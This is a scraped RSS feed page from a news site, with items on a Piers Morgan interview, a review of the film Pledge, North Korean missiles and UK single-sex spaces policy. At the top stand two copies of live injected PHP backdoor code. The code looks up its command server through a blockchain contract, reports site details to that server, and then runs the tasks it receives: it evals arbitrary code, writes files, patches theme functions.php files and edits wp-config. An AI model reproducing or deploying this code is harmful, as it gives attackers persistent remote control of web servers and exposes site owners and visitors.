// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); pledge – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 17 Sep 2019 19:04:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png pledge – Brief News https://briefnews.eu 32 32 ‘Utterly shameless!’ Piers Morgan tears into Chuka Umunna on overturning Brexit pledge https://briefnews.eu/utterly-shameless-piers-morgan-tears-into-chuka-umunna-on-overturning-brexit-pledge/ https://briefnews.eu/utterly-shameless-piers-morgan-tears-into-chuka-umunna-on-overturning-brexit-pledge/#respond Tue, 17 Sep 2019 19:04:24 +0000 http://briefnews.eu/utterly-shameless-piers-morgan-tears-into-chuka-umunna-on-overturning-brexit-pledge/

Mr Umunna told the host he had answered his questions, but the presenter hit back: “No, you haven’t answered my question.”

The guest replied: “I’ve answered your question. You may not like the answer Piers but the answer is a referenda are not the only way to determine things in this country, we also determine them by general election.”

Mr Umunna went on to explain when he was a member of the Labour party, he voiced his opposition of their stance, before saying if people voted for the Lib Dems in a General Election, then another referendum wouldn’t be needed as the manifesto would clearly angle towards stopping Brexit.

“People are fed up talking about Brexit,” the politician stated.

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]]> https://briefnews.eu/utterly-shameless-piers-morgan-tears-into-chuka-umunna-on-overturning-brexit-pledge/feed/ 0 ‘Pledge’ Review: A Lean, Mean Fraternity Murder Convenes in Daniel Robbins’ Thriller [Fantasia Film Festival] https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/ https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/#respond Mon, 06 Aug 2018 09:29:07 +0000 http://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/ Pledge Movie Review

As a college attendee who never participated in Greek life myself, fraternal thrillers are always something of an outside-looking-in affair. My behind-closed-doors knowledge comes only from friends who recall their “elephant walks” or 24-hour drinking binges, always uttered with an air of unbelievableness. That’s what makes this subgenre so difficult. Can a movie sell sorority babes and fraternity bros getting away with literal murder? Yes, because Daniel Robbins’ film Pledge does. A cleanly shot, aggressively-spanked story of hazing torture outside collegiate regulation that makes you beg for each and every round of punishment.

As eager freshman explore prospective Greek households during rush week, three “nerdy” newbies struggle to find their place amidst tank-top dudes and twerking day-drinkers. David (Zack Weiner), Justin (Zachery Bird) and Ethan (Phillip Andre Botello) face a choice – drink beers and play XBOX alone for the next four years or get accepted into one of many brotherhoods. Sounds simple, but these guys aren’t exactly smoother operators. After being asked to leave Beta’s premises – for being “too weird” – an astoundingly attractive coed invites the trio off-campus to a special fraternity. Despite numerous red flags (chain-locked gate, lengthy dirt road, no neighboring houses), the boys find themselves pledging a mysterious social club where winners are made – if they can survive 48 hours of hell.

Enter Maxwell Peterson III (Aaron Dalla Villa), the “social club” chair who welcomes each pledge. He’s suited up for a country club ceremony, fluent in university partying and absolutely up to no good (American Psycho Jr., if you will). Night one is an all-out rager “packed” with only five pledges and beautiful, high-class ladies who cater to their guests’ every need. Night two begins with branding, moves to a most nauseating dinner and night three ends with chaotic bloodshed. This is all after an introductory flashback scene that predates proceedings by four years, where a runaway pledge is clocked with a baseball bat and dragged through cornfield stalks.

Robbins doesn’t need to play coy with Pledge. We all know the film’s three “lovable” losers will be tortured far worse than neverending beer bongs and sleep deprivation. Early hazes are stereotypical razzing and putting dorks into far-away corners, but tension peaks the minute Max introduces himself. Why is such a dapper, upstanding gentleman inviting the outcasts of campus into a “club” where mere children become titans of industry? Nevertheless built on ancient Roman beliefs of “real men” not submitting to breaking points because, in order to succeed, one must *never* break.

Pledge Movie Review

Thus incites a tragic and terrible tale of toxic masculinity, where the pledgees may not be who we expect. Max’s cohorts – Ricky (Cameron Cowperthwaite) and Bret (Jesse Pimentel) – seem to be enjoying the sadism a bit too much. David and company are often degraded past rational human barriers, but no social club member seems to view their victims as people. That explains the steel bars over windows, roadkill slurry and ceremonial daggers, all while prototypical frat bros salivate and froth while spewing verbile bile towards each captor. Physically aching to witness pain, screaming in the name of bloody murder.

As you can expect, David’s fix-your-computer look makes him an easy target, along with Justin’s husky build and Ethan’s skittishness. Chosen because of weakness, forced to fight back against their alpha captors. Further tension mounts when Max’s clan unsheathes their true intentions, as they funnel rats into a Fight Club reminiscent basement where ungodly acts are committed. Random poor souls find themselves caught in the mix (women forced into skimpy stripper nurse outfits, two additional pledge candidates), but this is our leading dweebs’ crucible to conquer. Always overmatched, but like a rodent trapped under life-threatening circumstances, they’re forced to claw their way out. If, of course, they muster the gumption.

Actor Zach Weiner doubles as the film’s scribe, who very sharply whittles terror down to a streamlined spear design. Little time is wasted. Once “Hell Weekend” commences, danger swirls like a cyclone of elitist madness. As the nights press on, Grecian statue artwork depicting feats of strength call back to times when gladiators proved their might by showing nothing but physical dominance. Robbins and Weiner work together in modeling their age-old conspiracy beyond “Lizard Illuminati” believers, warping frat mentalities into a sick showing of “skills” to honor old ranks. Barbaric practices committed in modern-day light, wholly worth the massive liberties still taken by on-campus murder club participants.

“Masculinity” as a weapon, downfall and twisted take on horror. What relevance.

Pledge stakes its genre claim on fruitless anger, merciless abuse and satirical wit concerning what we’re willing to do for popularity. Daniel Robbins does plenty with what some will consider a bare-bones take, evoking fear from a disgusting, morally problematic core. We’ve all heard the fraternity warnings and seen what happens when senior drill sergeants take things a step too far. This is twelve steps past that mark, where surviving students would need therapy. Sometimes a bit generic when it comes to verbal berating, maybe not the most believable survival story at times, but for my money, a lean-mean junior feature from Mr. Robbins that easily makes the grade.

/Film Rating: 7 out of 10

The post ‘Pledge’ Review: A Lean, Mean Fraternity Murder Convenes in Daniel Robbins’ Thriller [Fantasia Film Festival] appeared first on /Film.

]]> https://briefnews.eu/pledge-review-a-lean-mean-fraternity-murder-convenes-in-daniel-robbins-thriller-fantasia-film-festival/feed/ 0 North Korea’s missile program reportedly continues after Trump and Kim Jong Un’s pledge to promote ‘peace and prosperity’ https://briefnews.eu/north-koreas-missile-program-reportedly-continues-after-trump-and-kim-jong-uns-pledge-to-promote-peace-and-prosperity/ https://briefnews.eu/north-koreas-missile-program-reportedly-continues-after-trump-and-kim-jong-uns-pledge-to-promote-peace-and-prosperity/#respond Tue, 31 Jul 2018 04:42:39 +0000 http://briefnews.eu/north-koreas-missile-program-reportedly-continues-after-trump-and-kim-jong-uns-pledge-to-promote-peace-and-prosperity/ trump kim summitEvan Vucci/AP

  • North Korea is reportedly continuing to build missiles at a research facility despite its leader’s pledge to work toward “peace and prosperity” on the Korean Peninsula, The Washington Post reported on Monday night.
  • US intelligence officials familiar Pyongyang’s operations say that new evidence, including recent satellite photos, suggest the regime is producing at least one liquid-fueled ICBM at a research facility.
  • The factory reportedly produced two ICBMs, including the Hwasong-15 — a missile capable of reaching the US East Coast.

North Korea’s missile program continues at a research facility outside the country’s capital of Pyongyang, despite a pledge towards “peace and prosperity” made by North Korean leader Kim Jong Un and President Donald Trump in June, The Washington Post reported on Monday night.

US intelligence officials familiar with Pyongyang’s operations say that new evidence, including recent satellite photos, suggests that the regime is producing at least one liquid-fueled ICBM at the Sanumdong research facility, near Pyongyang.

See the rest of the story at Business Insider

NOW WATCH: North Korean defector: Kim Jong Un ‘is a terrorist’

See Also:

SEE ALSO: Trump could be even more vulnerable in a summit with Vladimir Putin than he was with North Korean leader Kim Jong Un

]]> https://briefnews.eu/north-koreas-missile-program-reportedly-continues-after-trump-and-kim-jong-uns-pledge-to-promote-peace-and-prosperity/feed/ 0 Trans people won’t get legal access to public single-sex spaces, ministers pledge https://briefnews.eu/trans-people-wont-get-legal-access-to-public-single-sex-spaces-ministers-pledge/ https://briefnews.eu/trans-people-wont-get-legal-access-to-public-single-sex-spaces-ministers-pledge/#respond Mon, 25 Jun 2018 08:09:57 +0000 http://briefnews.eu/trans-people-wont-get-legal-access-to-public-single-sex-spaces-ministers-pledge/ Trans people will not be legally entitled to access single-sex spaces, the government said. The Equalities Commission said the rights of those identifying as female should not override those of women who are biologically female.

Despite warnings from rights campaigners that single-sex facilities, such as toilets and changing rooms, discriminate against the transgender community, the government said it has “no intention” to make female- and male-only services accessible to transgender people.

“We are clear we have no intention of amending the Equality Act 2010, the legislation that allows for single-sex spaces,” a government statement said on Sunday.

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© Britta Pedersen/ Global Look Press

The announcement follows growing pressure from feminists to guarantee the protection of women as the government pushes through the Gender Recognition Act (GRA), which will allow for trans people to legally alter their gender.

It comes after woman complained about having a man self-identifying as a female carrying out her cervical smear test. Women also complained about trans swimming in female-only pools.

In response to a 12,000-strong petition calling for women to be consulted before any change to the Act is passed, the Government Equalities Office said: “We are clear that we have no intention of amending the Equality Act 2010, the legislation that allows for single-sex spaces.

“Any GRA reform will not change the protected characteristics in the Equality Act nor the exceptions under the Equality Act that allow provision for single and separate sex spaces.”

It added: “Providers of women-only services can continue to provide services in a different way, or even not provide services to trans individuals, provided it is objectively justified on a case-by-case basis.

